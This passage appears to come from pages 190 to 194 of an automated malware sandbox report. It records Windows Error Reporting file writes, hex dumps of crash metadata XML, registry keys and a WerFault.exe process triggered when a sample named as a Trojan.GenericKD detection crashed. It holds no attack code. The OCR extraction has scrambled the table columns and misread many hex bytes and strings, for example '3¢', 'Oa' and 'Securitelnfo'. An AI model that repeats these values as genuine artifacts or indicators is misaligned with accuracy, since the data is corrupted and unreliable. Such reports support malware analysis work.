ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c 004500760065 <.E.v.e.ntT.y.p.e>AP.P. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 006e 0074005400 C.R.AS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.f.o...c.om..T.

74006500720030 r.0j.a.n..G.e.n.e.r.icKD.
003e 0053006500 Z..7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e.</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
310032 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
74 00 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./.P.rob.lem.sS.g.n.at success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.am.i.c.S.i.g.n.a.t.u. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.<./P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021 Page 190 of 245



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 005300790073
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053 0079 00 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
<./.D.y.n.a.m.i.c.S.i.g.n.a.t. success or wait 1 702C497A unknown
u.r.e.s.>.
success or wait 1 702C497A unknown
success or wait 1 702C497A unknown
<.S.y.s.te.m.l.n.f.o.rm.a.t. success or wait 1 702C497A unknown
i.o.n.>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
<.M.l.D.>.A.2.A.B.5.2.6.A.- success or wait 1 702C497A unknown
.D.3.8.D.-4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.l.D.>.
success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait 1 702C497A unknown
.urer>w.iulo.i.,. .ln.c..

<./.S.y.s.t.e.m.M.a.n.u.f.
ac.ture.r>.

success or wait 1 702C497A unknown
success or wait 2 702C497A unknown
<.S.y.s.t.e.m.P.r.o.d.u.c.t.N success or wait 1 702C497A unknown

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.tN.a
.m.e.>.

success or wait 1 702C497A unknown

success or wait 2 702C497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.e.r.s.i.o.n.>.V. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate> success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.n.s.tallT.im.e>. success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4...4.

6100 6¢c 006¢c0054 9..2.1.Z</0.S.l.ns.ta.l
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢C

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 2 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.as.> success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. T..m.e.Z.o.n.e.B.
0061 0073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./S.y.s.tem.lnfo.rm.a. success orwait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml 00730074006500 t.i.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 702C497A unknown
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

46

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 35
00 34 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

ER=N

<.U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.cur.e.B.o.ot.Sta.

te>.

<.l.nte.g.r.ato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</lnte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

2Ale 02228 TALE0.2:5

54.2.".>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

702C497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 00 3100 2200 20
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 65 00 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
00 20 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.ro.c.es.s. .As.ld.=".
3.5.9.". .P.l. '7.1.4.0.".
.U.p.tim.eM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=.".6.7.1.". .S.u.s.
p.e.n.d.e.d.M.
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed.=

<./.P.ro.c.e.s.s.>.

<./.P.ro.ce.s.s.T..m.e.li.
n.e.s.>.

<.R.e.p.o.rt.l.nfoorm.a.t.
i.o.n.>.

Source

Completion Count Address

success or wait 1 702C497A
success or wait 2 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 2 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 1 702C497A
success or wait 2 702C497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 194 of 245



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 62 00
33 00 38 00 35 00 64
00 61 00 34 00 61 00
2d 00 63 00 33 00 38
00 61 00 2d 00 34 00
66 00 38 00 64 00 2d
00 38 00 36 00 35 00
34 00 2d 00 64 00 32
00 34 00 33 00 33 00
33 00 34 00 36 00 33
00 61 00 39 00 38 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 35
00 34 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Ascii Completion

<.G.u.i.d.>.b.3.8.5.d.a.4.a.- success or wait
.c.3.8.a.-.4.£.8.d.-.8.6.5.4.-.
d.2.4.3.3.3.4.6.3.a.9.8.

<./.G.u.i.d.>.

success or wait

success or wait

<.C.re.a.ti.o.n.T..m.e>.2. success or wait
0.2.1.-.0.2.-.2.3.T.1.8...0.2.
1.5.4.Z</Creatio.n.T.

i.m.e.>.

success or wait

success or wait

<./.R.e.p.o.r.tlnfo.rm.a. success or wait
tio.n.>.

success or wait

<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait
a.d.ata.>.

Source

Count Address Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER1D88.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_1a772140\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_1a772140\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_1a772140\Report.wer

Registry Activities

Key Created

Key Path

Offset
unknown 4746

unknown 2

unknown 22

unknown 44

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 2232 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d 0a 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
2020 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 61726720
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6c 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 31 00
33 0038003500 37
00 39 00 31 00 34 00
34 00

Ascii

<?xml version="1.0"
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">.. <tlm>.. <src>
<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..
<arg nm="verbld" val="

<0s>..

V.ers.i.o.n=1...

M.e.ta.d.ata.H.as.h.=1.
3.8.5.7.9.1.4.4.

\REGISTRY\A\{2722e283-a9df-062f-41ca-5f877241024d}\Root\InventoryApplicationFile\PermissionsCheckTestKey

\REGISTRY\A\{2722e283-a9df-062f-41ca-5f877241024d}\Root\InventoryApplicationFile\PermissionsCheckTestKey

\REGISTRY\A\{2722e283-a9df-062f-41ca-5f877241024d}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Completion

success or wait

success or wait

success or wait

success or wait

Completion
success or wait
success or wait

success or wait

Count Address

1

1

169

1

Count Address

1
1
1

Source
Symbol

702C497A unknown

702C497A unknown

702C497A unknown

702C497A unknown

Source
Symbol

702E36BF unknown
702E36BF unknown
702C43D1 unknown

Analysis Process: WerFault.exe PID: 6456 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

10:03:02

23/02/2021

C:\Windows\SysWOW64\WerFault.exe

true

